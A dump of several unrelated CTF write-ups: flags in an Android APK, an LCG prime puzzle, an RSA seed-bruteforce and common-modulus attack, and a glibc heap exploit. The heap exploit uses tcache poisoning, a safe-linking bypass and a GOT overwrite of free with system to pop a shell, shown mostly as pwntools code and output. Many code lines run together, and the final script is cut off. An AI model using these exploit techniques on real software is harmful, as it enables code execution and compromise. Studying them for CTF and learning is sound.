text_chunk
stringlengths 151
703k
|
---|
# Pizza Pazzi, 150 points
I started by decompiling the apk to be able to analyze it.To do this, I used the site `http://www.javadecompilers.com/apk`
After downloading the zip that the site returned to me, I started digging through the files and came across:

"Food Delivery App", which made me think of... pizza!
After digging around a bit, you quickly find:
`https://pizzapazzi.challenge.hackazon.org/`
Which gives us the first flag:
**Flag 1: CTF{St4RT_Y0uR_3NG1N3X}**
We also find `Q1RGe1doMF80bV9JfQ==` and `Q1RGe1doNHRfMV80bV93MHJ0aH0=`
Which gives us :
**Flag 2: CTF{Wh0_4m_I}****Flag 3: CTF{Wh4t_1_4m_w0rth}**
And finally in another file (LoginActivity.java) we find `Q1RGe1doM3JlXzFzX3RoM19mMDBkfQ==`
So :
**Flag 4: CTF{Wh3re_1s_th3_f00d}** |
**TL;DR**Source```pythonfrom Crypto.Util.number import bytes_to_long, isPrimefrom secrets import randbelow
p = bytes_to_long(open("flag.txt", "rb").read())assert isPrime(p)
a = randbelow(p)b = randbelow(p)
def f(s): return (a * s + b) % p
print("a = ", a)print("b = ", b)print("f(31337) = ", f(31337))print("f(f(31337)) = ", f(f(31337)))```Rewrite both congruences to solve for p\*n and take the gcd, full solve script at original link |
hidE===
This RSA encryption service is so secure we're not even going to tell you how we encrypted it
`nc be.ax 31124`
Downloads
- [main.py](https://static.cor.team/uploads/2285a60dd5349ab843e68d34273849e6426817cea84df9421f6189537c64bdee/main.py)
Task analysis===
The challange gave the script running in server (`main.py`):
```python#!/usr/local/bin/pythonimport randomimport timeimport mathimport binasciifrom Crypto.Util.number import *
p, q = getPrime(512), getPrime(512)n = p * qphi = (p - 1) * (q - 1)
flag = open('./flag.txt').read().encode()
random.seed(int(time.time()))
def encrypt(msg): e = random.randint(1, n) while math.gcd(e, phi) != 1: e = random.randint(1, n) pt = bytes_to_long(msg) ct = pow(pt, e, n) return binascii.hexlify(long_to_bytes(ct)).decode()
def main(): print('Secure Encryption Service') print('Your modulus is:', n) while True: print('Options') print('-------') print('(1) Encrypt flag') print('(2) Encrypt message') print('(3) Quit') x = input('Choose an option: ') if x not in '123': print('Unrecognized option.') exit() elif x == '1': print('Here is your encrypted flag:', encrypt(flag)) elif x == '2': msg = input('Enter your message in hex: ') print('Here is your encrypted message:', encrypt(binascii.unhexlify(msg))) elif x == '3': print('Bye') exit()
if __name__ == '__main__': main()```
Basically two 512-bit primes are generated (`p` and `q`), `n = p*q` and `phi = (p-1)*(q-1)` are set, the `flag` is loaded from file and **the random generator is initialized with `time.time()` as seed**. This seed make possible to us to solve the challenge, since we can bruteforce it (let's back here after).
When we connect to server, there is a menu when we can choose between encrypt the flag or encrypt a known message. For both of them, it is used the same function to encrypt:
```pythondef encrypt(msg): e = random.randint(1, n) while math.gcd(e, phi) != 1: e = random.randint(1, n) pt = bytes_to_long(msg) ct = pow(pt, e, n) return binascii.hexlify(long_to_bytes(ct)).decode()```
See that there is only one of the variables that is random (`e`) and that if `gcd(e, phi) == 1` at first time, we don't need `phi` to encrypt any message locally. We don't know `phi` but we know it is necessarily divisible by 2. A random odd `e` and an even `phi` have a great chance to be coprimes.
Solving the Challenge===
Let's start by getting the `seed`. One way to do so is setting the `seed` as te epoch time before connect the server, encrypt one known message using server and try `seed`'s sequentially until the locally encrypted known message results in the same ciphertext as the message encrypted in the server (assuming only that `phi` is even), so let's use the following encrypt function:
```pythondef encrypt(msg, n): e = random.randint(1, n) while e % 2 == 0: e = random.randint(1, n) pt = bytes_to_long(msg) ct = pow(pt, e, n) return binascii.hexlify(long_to_bytes(ct)).decode()```
And this script to find the `seed`:
```pythonwhile True: prox = False seed = int(time.time()) conn = remote('be.ax', 31124) data = conn.recvuntil(b'option: ').decode() n = int(re.search(r'is: (\d+)', data).group(1)) print('n =', n) conn.sendline(b'2') txt = b'aa' conn.sendlineafter(b'hex: ', txt) data = conn.recvline().decode() print(data) ctxt = re.search(r'message: ([0-9a-f]+)', data).group(1) random.seed(seed) enc = encrypt(binascii.unhexlify(txt.decode()), n) t0 = time.time() while enc != ctxt: seed += 1 random.seed(seed) enc = encrypt(binascii.unhexlify(txt.decode()), n) if time.time() - t0 > 10: prox = True break if prox: conn.close() continue```
As we are assuming that the only possible common factor between `e` and `phi` is 2, sometimes we won't find the `seed`. To avoid this situation, if it takes more than 10 seconds to find the `seed`, the connection is closed and it tries again.
Found the `seed`, now we can encrypt the flag using the server to get the ciphertext and get the cooresponding `e` using the `seed` locally.
But how can we find the `flag` given the ciphertext and the `e` if we didn't factorize `n`? That is possible because we know that the original message is the same and the `n` is the same, so we can use the [Common Modulus Attack](https://infosecwriteups.com/rsa-attacks-common-modulus-7bdb34f331a5). Let's see how it works.
First we have to obtain two versions of encrypted flag and the `e` for each of them, so that the `e`'s are coprimes:
```python random.seed(seed) encrypt(binascii.unhexlify(txt.decode()), n) e2 = e1 = random.randint(1, n) conn.recvuntil(b'option: ') conn.sendline(b'1') data = conn.recvline().decode() cflag2 = cflag1 = bytes_to_long(bytes.fromhex(re.search(r'flag: ([0-9a-f]+)', data).group(1))) while gcd(e1, e2) != 1: conn.recvuntil(b'option: ') conn.sendline(b'1') data = conn.recvline().decode() cflag2 = bytes_to_long(bytes.fromhex(re.search(r'flag: ([0-9a-f]+)', data).group(1))) e2 = random.randint(1, n) while e2 % 2 == 0: e2 = random.randint(1, n)```
After we must find `a` and `b` such that `a * e1 + b * e2 == 1` using the extended GCD algorithm:
```pythondef extended_gcd(x, y): # a*x + b*y = 1 a = 0 b = 1 lasta = 1 lastb = 0 while y != 0: quo = x // y x, y = y, x % y a, lasta = lasta - quo * a, a b, lastb = lastb - quo * b, b return lasta, lastb```
After we have `a` and `b`, the flag can be determined with `m == (c1 ** a * c2 ** b) % n`, but one of them will be negative:
```python a, b = extended_gcd(e1, e2) if a < 0: print('a < 0') cflag1 = inverse(cflag1, n) a = -a if b < 0: print('b < 0') cflag2 = inverse(cflag2, n) b = -b flag = long_to_bytes((pow(cflag1, a, n)*pow(cflag2, b, n)) % n) if b'corctf' in flag: print(flag) break conn.close()```
It was important to check if the flag was found because of the `e` and `phi` relation discussed before. Now we have the full solver:
```pythonfrom pwn import *from Crypto.Util.number import bytes_to_long, long_to_bytes, inversefrom math import gcd
def extended_gcd(x, y): # a*x + b*y = 1 a = 0 b = 1 lasta = 1 lastb = 0 while y != 0: quo = x // y x, y = y, x % y a, lasta = lasta - quo * a, a b, lastb = lastb - quo * b, b return lasta, lastb
def encrypt(msg, n): e = random.randint(1, n) while e % 2 == 0: e = random.randint(1, n) pt = bytes_to_long(msg) ct = pow(pt, e, n) return binascii.hexlify(long_to_bytes(ct)).decode()
while True: prox = False seed = int(time.time()) conn = remote('be.ax', 31124) data = conn.recvuntil(b'option: ').decode() n = int(re.search(r'is: (\d+)', data).group(1)) print('n =', n) conn.sendline(b'2') txt = b'aa' conn.sendlineafter(b'hex: ', txt) data = conn.recvline().decode() print(data) ctxt = re.search(r'message: ([0-9a-f]+)', data).group(1) random.seed(seed) enc = encrypt(binascii.unhexlify(txt.decode()), n) t0 = time.time() while enc != ctxt: seed += 1 random.seed(seed) enc = encrypt(binascii.unhexlify(txt.decode()), n) if time.time() - t0 > 10: prox = True break if prox: conn.close() continue random.seed(seed) encrypt(binascii.unhexlify(txt.decode()), n) e2 = e1 = random.randint(1, n) conn.recvuntil(b'option: ') conn.sendline(b'1') data = conn.recvline().decode() cflag2 = cflag1 = bytes_to_long(bytes.fromhex(re.search(r'flag: ([0-9a-f]+)', data).group(1))) while gcd(e1, e2) != 1: conn.recvuntil(b'option: ') conn.sendline(b'1') data = conn.recvline().decode() cflag2 = bytes_to_long(bytes.fromhex(re.search(r'flag: ([0-9a-f]+)', data).group(1))) e2 = random.randint(1, n) while e2 % 2 == 0: e2 = random.randint(1, n) assert gcd(e1, e2) == 1 a, b = extended_gcd(e1, e2) if a < 0: print('a < 0') cflag1 = inverse(cflag1, n) a = -a assert a > 0 if b < 0: print('b < 0') cflag2 = inverse(cflag2, n) b = -b assert b > 0 flag = long_to_bytes((pow(cflag1, a, n)*pow(cflag2, b, n)) % n) if b'corctf' in flag: print(flag) break conn.close()```
Running it, after at most a few tries:
```corctf{y34h_th4t_w4snt_v3ry_h1dd3n_tbh_l0l}```
|
## Introduction
`cshell2` is a heap challenge I did during the [corCTF 2022](https://ctftime.org/event/1656) event. It was pretty classic so I will not describe a lot.If you begin with heap challenges, I advice you to read [previous heap writeup](https://ret2school.github.io/tags/heap/). Find all the tasks [here](https://github.com/ret2school/ctf/tree/master/2022/corCTF/pwn/cshell2).
## TL; DR
- Fill tcache.- Heap overflow in `edit` on the `bio` field which allows to leak the address of the unsortedbin.- Leak heap and defeat safe-linking to get an arbitrary write through tcache poisoning.- Hiijack GOT entry of `free` to `system`.- Call `free("/bin/sh")`.- PROFIT
## Reverse Engineering
Let's take a look at the provided binary and libc:```$ ./libc.so.6 GNU C Library (GNU libc) development release version 2.36.9000.Copyright (C) 2022 Free Software Foundation, Inc.This is free software; see the source for copying conditions.There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR APARTICULAR PURPOSE.Compiled by GNU CC version 12.1.0.libc ABIs: UNIQUE IFUNC ABSOLUTEMinimum supported kernel: 3.2.0For bug reporting instructions, please see:<https://www.gnu.org/software/libc/bugs.html>.$ checksec --file cshell2[*] '/home/nasm/Documents/pwn/corCTF/cshell2/cshell2' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3fb000) RUNPATH: b'.'```
A very recent libc plus a non PIE-based binary without `FULL RELRO`. Thus we could think to some GOT hiijacking stuff directly on the binary. Let's take a look at the `add` function:```cunsigned __int64 add(){ int idx_1; // ebx unsigned __int8 idx; // [rsp+Fh] [rbp-21h] BYREF size_t size; // [rsp+10h] [rbp-20h] BYREF unsigned __int64 v4; // [rsp+18h] [rbp-18h]
v4 = __readfsqword(0x28u); puts("Enter index: "); __isoc99_scanf("%hhu", &idx); puts("Enter size (1032 minimum): "); __isoc99_scanf("%lu", &size); if ( idx > 0xEu || size <= 0x407 || size_array[2 * idx] ) { puts("Error with either index or size..."); } else { idx_1 = idx; chunk_array[2 * idx_1] = (chunk_t *)malloc(size); size_array[2 * idx] = size; puts("Successfuly added!"); puts("Input firstname: "); read(0, chunk_array[2 * idx], 8uLL); puts("Input middlename: "); read(0, chunk_array[2 * idx]->midName, 8uLL); puts("Input lastname: "); read(0, chunk_array[2 * idx]->lastName, 8uLL); puts("Input age: "); __isoc99_scanf("%lu", &chunk_array[2 * idx]->age); puts("Input bio: "); read(0, chunk_array[2 * idx]->bio, 0x100uLL); } return v4 - __readfsqword(0x28u);}```
It creates a chunk by asking several fields but nothing actually interesting there. Let's take a look at the `show` function:```cunsigned __int64 show(){ unsigned __int8 v1; // [rsp+7h] [rbp-9h] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u); puts("Enter index: "); __isoc99_scanf("%hhu", &v1;; if ( v1 <= 0xEu && size_array[2 * v1] ) printf( "Name\n last: %s first: %s middle: %s age: %d\nbio: %s", chunk_array[2 * v1]->lastName, chunk_array[2 * v1]->firstName, chunk_array[2 * v1]->midName, chunk_array[2 * v1]->age, chunk_array[2 * v1]->bio); else puts("Invalid index"); return v2 - __readfsqword(0x28u);}```It prints a chunk only if it's allocated (size entry initialized in the size array) and if the index is right.Then the `delete` function:```cunsigned __int64 delete(){ unsigned __int8 v1; // [rsp+7h] [rbp-9h] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u); printf("Enter index: "); __isoc99_scanf("%hhu", &v1;; if ( v1 <= 0xEu && size_array[2 * v1] ) { free(chunk_array[2 * v1]); size_array[2 * v1] = 0LL; puts("Successfully Deleted!"); } else { puts("Either index error or trying to delete something you shouldn't be..."); } return v2 - __readfsqword(0x28u);}```Quite common `delete` handler, it prevents double free.The vulnerability is in the `edit` function:```cunsigned __int64 edit(){ unsigned __int8 idx; // [rsp+7h] [rbp-9h] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u); printf("Enter index: "); __isoc99_scanf("%hhu", &idx); if ( idx <= 0xEu && size_array[2 * idx] ) { puts("Input firstname: "); read(0, chunk_array[2 * idx], 8uLL); puts("Input middlename: "); read(0, chunk_array[2 * idx]->midName, 8uLL); puts("Input lastname: "); read(0, chunk_array[2 * idx]->lastName, 8uLL); puts("Input age: "); __isoc99_scanf("%lu", &chunk_array[2 * idx]->age); printf("Input bio: (max %d)\n", size_array[2 * idx] - 32LL); read(0, chunk_array[2 * idx]->bio, size_array[2 * idx] - 32LL); puts("Successfully edit'd!"); } return v2 - __readfsqword(0x28u);}```It reads `size_array[2 * idx] - 32LL` bytes into a `0x100`-sized buffer which leads to a heap overflow.
## Exploitation
There is no actual issue, we can allocate whatever chunk bigger than `0x407`, the only fancy thing we have to do would be to defeat safe-linking to get an arbitrary write with a tcache poisoning attack on the `0x410` tcache bin. Here is the attack I led against the challenge but that's not the most optimized.
The plan is to:- Allocate two `0x408`-sized chunks : pivot and victim, in order to easily get later libc leak.- Allocate 9 more chunks and then fill the `0x410` tcachebin with them (with only 7 of them).- Delete `victim` and overflow pivot up to the next free pointer of `victim` to get a libc leak.- Allocate a `0x408`-sized chunk to get the `8`-th chunk (within `chunk_array`) which is on the top of the bin.- Leak the heap same way as for libc, but we have to defeat safe-linking.- Delete the `9`-th chunk to put it in the tcachebin at the first position.- Then we can simply `edit` chunk `8` and overflow over chunk `9` to poison its next `fp` to hiijack it toward the GOT entry of `free`.- Pop chunk `9` from the freelist and then request another the target memory area : the GOT entry of `free`.- Write `system` into the GOT entry of `free`.- Free whatever chunk for which `//bin/sh` is written at the right begin.- PROFIT.
To understand the attack process I'll show the heap state at certain part of the attack.
## Libc / heap leak
First we have to fill the tcache. We allocate a chunk right after `chunk0` we do not put into the tcache to be able to put it in the unsortedbin to make appear unsortedbin's address:```pyadd(0, 1032, b"//bin/sh\x00", b"", b"", 1337, b"") # pivotadd(1, 1032, b"", b"", b"", 1337, b"") # victim
for i in range(2, 7+2 + 2): add(i, 1032, b"", b"", b"", 1337, b"")
for i in range(2, 7+2): delete(i)
delete(1)edit(0, b"", b"", b"", 1337, b"Y"*(1032 - 64 + 7))
show(0)io.recvuntil(b"Y"*(1032 - 64 + 7) + b"\n")libc.address = pwn.u64(io.recvuntil(b"1 Add\n")[:-6].ljust(8, b"\x00")) - 0x1c7cc0pwn.log.info(f"libc: {hex(libc.address)}")
# Heap state:"""0x1de1290 0x0000000000000000 0x0000000000000411 ................ [chunk0]0x1de12a0 0x68732f6e69622f0a 0x0000000000000a0a ./bin/sh........0x1de12b0 0x000000000000000a 0x0000000000000539 ........9.......0x1de12c0 0x0000000000000000 0x0000000000000000 ................0x1de12d0 0x0000000000000000 0x0000000000000000 ................0x1de12e0 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de12f0 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de1300 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de1310 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de1320 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de1330 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de1340 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de1350 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de1360 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de1370 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de1380 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de1390 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de13a0 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de13b0 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de13c0 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de13d0 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de13e0 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de13f0 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de1400 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de1410 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de1420 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de1430 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de1440 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de1450 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de1460 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de1470 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de1480 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de1490 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de14a0 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de14b0 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de14c0 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de14d0 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de14e0 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de14f0 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de1500 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de1510 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de1520 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de1530 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de1540 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de1550 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de1560 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de1570 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de1580 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de1590 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de15a0 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de15b0 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de15c0 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de15d0 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de15e0 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de15f0 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de1600 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de1610 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de1620 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de1630 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de1640 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de1650 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de1660 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de1670 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de1680 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de1690 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY0x1de16a0 0x5959595959595959 0x0a59595959595959 YYYYYYYYYYYYYYY. <-- unsortedbin[all][0] [chunk1]0x1de16b0 0x00007f34f64c3cc0 0x00007f34f64c3cc0 .<L.4....<L.4..."""```
Then let's get a heap leak, we request back from the tcache the 8-th chunk, we free the `9`-th chunk that is allocated right after the `8`-th to be able to leak its next free pointer same way as for the libc previously. Plus we have to defeat safe-linking. To understand the defeat of safe-linking I advice you to read [this](https://www.researchinnovations.com/post/bypassing-the-upcoming-safe-linking-mitigation). It ends up to the `decrypt_pointer` function that makes use of known parts of the encrypted `fp` to decrypt the whole pointer. I didn't code the function by myself, too lazy for that, code comes from the [AeroCTF heap-2022 writeup](https://github.com/AeroCTF/aero-ctf-2022/blob/main/tasks/pwn/heap-2022/solution/sploit.py#L44).```pydef decrypt_pointer(leak: int) -> int: parts = []
parts.append((leak >> 36) << 36) parts.append((((leak >> 24) & 0xFFF) ^ (parts[0] >> 36)) << 24) parts.append((((leak >> 12) & 0xFFF) ^ ((parts[1] >> 24) & 0xFFF)) << 12)
return parts[0] | parts[1] | parts[2]
add(11, 1032, b"", b"", b"", 1337, b"")
delete(9)edit(11, b"", b"", b"", 1337, b"X"*(1032 - 64 + 7))
show(11)io.recvuntil(b"X"*(1032 - 64 + 7) + b"\n")heap = decrypt_pointer(pwn.u64(io.recvuntil(b"1 Add\n")[:-6].ljust(8, b"\x00"))) - 0x1000pwn.log.info(f"heap: {hex(heap)}")
# Heap state
"""0x13f6310 0x0000000000000000 0x0000000000000411 ................ [chunk8]0x13f6320 0x00000000013f4c0a 0x000000000000000a .L?.............0x13f6330 0x000000000000000a 0x0000000000000539 ........9.......0x13f6340 0x0000000000000000 0x0000000000000000 ................0x13f6350 0x0000000000000000 0x0000000000000000 ................0x13f6360 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX [chun8->bio]0x13f6370 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f6380 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f6390 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f63a0 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f63b0 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f63c0 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f63d0 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f63e0 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f63f0 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f6400 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f6410 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f6420 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f6430 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f6440 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f6450 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f6460 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f6470 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f6480 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f6490 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f64a0 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f64b0 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f64c0 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f64d0 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f64e0 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f64f0 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f6500 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f6510 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f6520 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f6530 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f6540 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f6550 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f6560 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f6570 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f6580 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f6590 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f65a0 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f65b0 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f65c0 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f65d0 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f65e0 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f65f0 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f6600 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f6610 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f6620 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f6630 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f6640 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f6650 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f6660 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f6670 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f6680 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f6690 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f66a0 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f66b0 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f66c0 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f66d0 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f66e0 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f66f0 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f6700 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f6710 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXX0x13f6720 0x5858585858585858 0x0a58585858585858 XXXXXXXXXXXXXXX.0x13f6730 0x00000000013f4ce6 0xdc8340f7dfc0b0e1 .L?..........@.. <-- tcachebins[0x410][0/7] [chunk9]"""
```
Then here we are, we leaked both libc and heap base addresses. We just have to to tcache poisoning on `free`.
## Tcache poisoning + PROFIT
We overflow the `8`-th chunk to overwrite the next freepointer of `chunk9` that is stored at the HEAD of the `0x410` tcachebin. Then we got an arbitrary write.We craft a nice header to be able to request it back from the tcache, and we encrypt the `next` with the location of the `chunk9` to pass safe-linking checks.
Given we hiijack GOT we initialized properly some pointers around to avoid segfaults. We do not get a write into the GOT entry of `free` cause it is unaliagned and `malloc` needs `16` bytes aligned next free pointer.```pyedit(11, b"", b"", b"", 1337, b"X"*(1032 - 64) + pwn.p64(0x411) + pwn.p64(((heap + 0x2730) >> 12) ^ (exe.got.free - 0x8)))
# dumbadd(12, 1032, b"", b"", b"", 1337, b"")
io.sendlineafter(b"5 re-age user\n", b"1")io.sendlineafter(b"index: \n", str(13).encode())io.sendlineafter(b"Enter size (1032 minimum): \n", str(1032).encode())io.sendafter(b"Input firstname: \n", pwn.p64(libc.address + 0xbbdf80))io.sendafter(b"Input middlename: \n", pwn.p64(libc.sym.system))io.sendafter(b"Input lastname: \n", pwn.p64(libc.address + 0x71ab0))io.sendlineafter(b"Input age: \n", str(0).encode())io.sendafter(b"Input bio: \n", pwn.p64(libc.address + 0x4cb40))
# Finally
delete(0)io.sendline(b"cat flag.txt")pwn.log.info(f"flag: {io.recvline()}")
io.interactive()```
Here we are:```nasm@off:~/Documents/pwn/corCTF/cshell2$ python3 exploit.py REMOTE HOST=be.ax PORT=31667[*] '/home/nasm/Documents/pwn/corCTF/cshell2/cshell2' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3fb000) RUNPATH: b'.'[*] '/home/nasm/Documents/pwn/corCTF/cshell2/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[+] Opening connection to be.ax on port 31667: Done[*] libc: 0x7f1d388db000[*] heap: 0x665000[*] flag: b'corctf{m0nk3y1ng_0n_4_d3bugg3r_15_th3_b35T!!!}\n'[*] Switching to interactive mode$```
## Appendices
Final exploit:```py#!/usr/bin/env python# -*- coding: utf-8 -*-
# this exploit was generated via# 1) pwntools# 2) ctfmate
import osimport timeimport pwn
# Set up pwntools for the correct architectureexe = pwn.context.binary = pwn.ELF('cshell2')libc = pwn.ELF("./libc.so.6")
pwn.context.delete_corefiles = Truepwn.context.rename_corefiles = Falsepwn.context.timeout = 2000
host = pwn.args.HOST or '127.0.0.1'port = int(pwn.args.PORT or 1337)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if pwn.args.GDB: return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return pwn.process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = pwn.connect(host, port) if pwn.args.GDB: pwn.gdb.attach(io, gdbscript=gdbscript) return io
